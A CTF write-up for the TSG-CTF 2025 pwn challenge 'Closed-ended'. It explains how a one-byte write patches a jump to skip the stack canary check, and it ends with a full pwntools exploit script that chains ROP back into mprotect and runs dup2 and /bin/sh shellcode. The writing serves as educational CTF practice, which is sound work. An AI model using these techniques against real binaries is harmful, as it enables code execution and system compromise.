[TSG-CTF 2025]-Pwn/Closed-ended

Overview#

This is the writeup of one of the interesting challenge i solved during TSG-CTF.

Challenge#

The source code of the challenge is already given(many many thanks for this!!).

1
#include <unistd.h>
2
#include <sys/mman.h>
3
#include <stdio.h>
4

5
int main() {
6
    void* addr;
7
    char buf[10];
8

9
    mprotect((void*)0x401000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
10

11
    if (close(1) != 0 || scanf("%p", &addr) != 1)
12
        return 0;
13

14
    if ((unsigned long)addr < 0x4010a7 || (unsigned long)addr > 0x402000)
15
        return 0;
16

17
    if (scanf("%*c%c", (char*)addr) != 1)
18
        return 0;
19

20
    mprotect((void*)0x401000, 0x1000, PROT_READ | PROT_EXEC);
21

22
    scanf("%100s", buf);
23
    return 0;
24
}

By looking at source code,we can see it calls mprotect and make the section of elf where instruction code is stored which is normally rx, to rwx.Then it closes stdout and takes one address from userand performs some bound check on that address.And then allow the user to write one byte at that address. After that it calls mprotect and remove the write permission and takes 100 byte input in 10 byte buffer. So we get plain old powerful buffer overflow.

If we look at the mitigations in binary,Canary is enabled

1
gef> checksec
2
Canary                                  : Enabled
3
NX                                      : Enabled
4
PIE                                     : Disabled (0x400000)
5
RELRO                                   : Full RELRO
6
Fortify                                 : Not found

We have to somehow disable canary check so we can use buffer overflow to control the RIP instructions.Also PIE is disabled so we know all the elf address and RELRO is enabled.

Exploit#

We can disable canary check by changing one byte in opcode. If we see the assembly where canary check is performed

1
   0x0000000000401115 <+165>:  jmp    0x4010a7 <main+55>
2
   0x0000000000401117 <+167>:  call   0x401030 <__stack_chk_fail@plt>

and at main+55

1
   0x00000000004010a5 <+53>:  je     0x4010ba <main+74>
2
   0x00000000004010a7 <+55>:  mov    rax,QWORD PTR [rbp-0x8]
3
   0x00000000004010ab <+59>:  sub    rax,QWORD PTR fs:0x28
4
   0x00000000004010b4 <+68>:  jne    0x401117 <main+167>

After seeing the opcode at 0x401115 and 0x4010a5:

1
gef> x/10gx 0x0000000000401115
2
0x401115 <main+165>:  0x0fffffff14e890eb  0x31fa1e0ff300401f
3
gef> x/10gx 0x00000000004010a5
4
0x4010a5 <main+53>:  0x4864f8458b481374  0x750000002825042b

My first idea was to change the jne instruction to je at main+68 but i hit the deadend later in exploit.(The deadend was due toclobbered canary).So my next idea was to change the offset at 0x401115 so that instead of jumping to main+55 it jumps to main+70,skipping the canary check entirely and we can get one time control of RIP.

Now the problem is that there is no way to get libc leak so we have to resort to shellcode but in last mprotect call,the write permission is gone. So my next goal was to call mprotect again with write permisions i.e. rsi = 0x7 and make the region executable again. After that it’s ROP shenanigans.

1
from pwn import *
2
elf = context.binary =  ELF("./closed_ended")
3
context.log_level = "debug"
4

5
io = process()
6
# io = remote("34.84.25.24", 50037)
7
gs = '''
8
b *main+124
9
b *main+46
10
b *main+0x49
11
'''
12
gdb.attach(io,gdbscript=gs)
13
canary_address = 0x401116
14
# one_byte = b"\x74"
15
one_byte = 0x9f
16

17
io.sendline(str(hex(canary_address)))
18
io.send(pack(one_byte))
19
shellcode_address = 0x401660+0x12
20
ret = 0x000000000040101a
21
rbp =shellcode_address+0x0
22
ret_address = 0x401070
23

24
#return to main->call mprotect->close(1) crashes->one more time RIP control
25
rop_payload_to_main = b"\x90"*11+pack(rbp)+pack(ret_address)+pack(ret)+pack(0x401105)+pack(0xcafebabe)
26
io.sendline(rop_payload_to_main)
27
#to fix close(1)
28
manual_shellcode = '''
29
    /* dup2(0, 1) */
30
    push 33
31
    pop rax
32
    xor rdi, rdi
33
    push 1
34
    pop rsi
35
    syscall
36

37
    add rsp,14 /*to allign stack */
38
'''
39

40
stack_assembly = asm(manual_shellcode)
41

42
rop_payload =pack(shellcode_address+0x40)+b"\x90"*0x2+pack(0xcafebabe)+pack(0xcafebabe)+pack(0x000000401682)+stack_assembly+asm(shellcraft.sh())
43
print(len(rop_payload))
44
io.sendline(rop_payload)
45
io.interactive()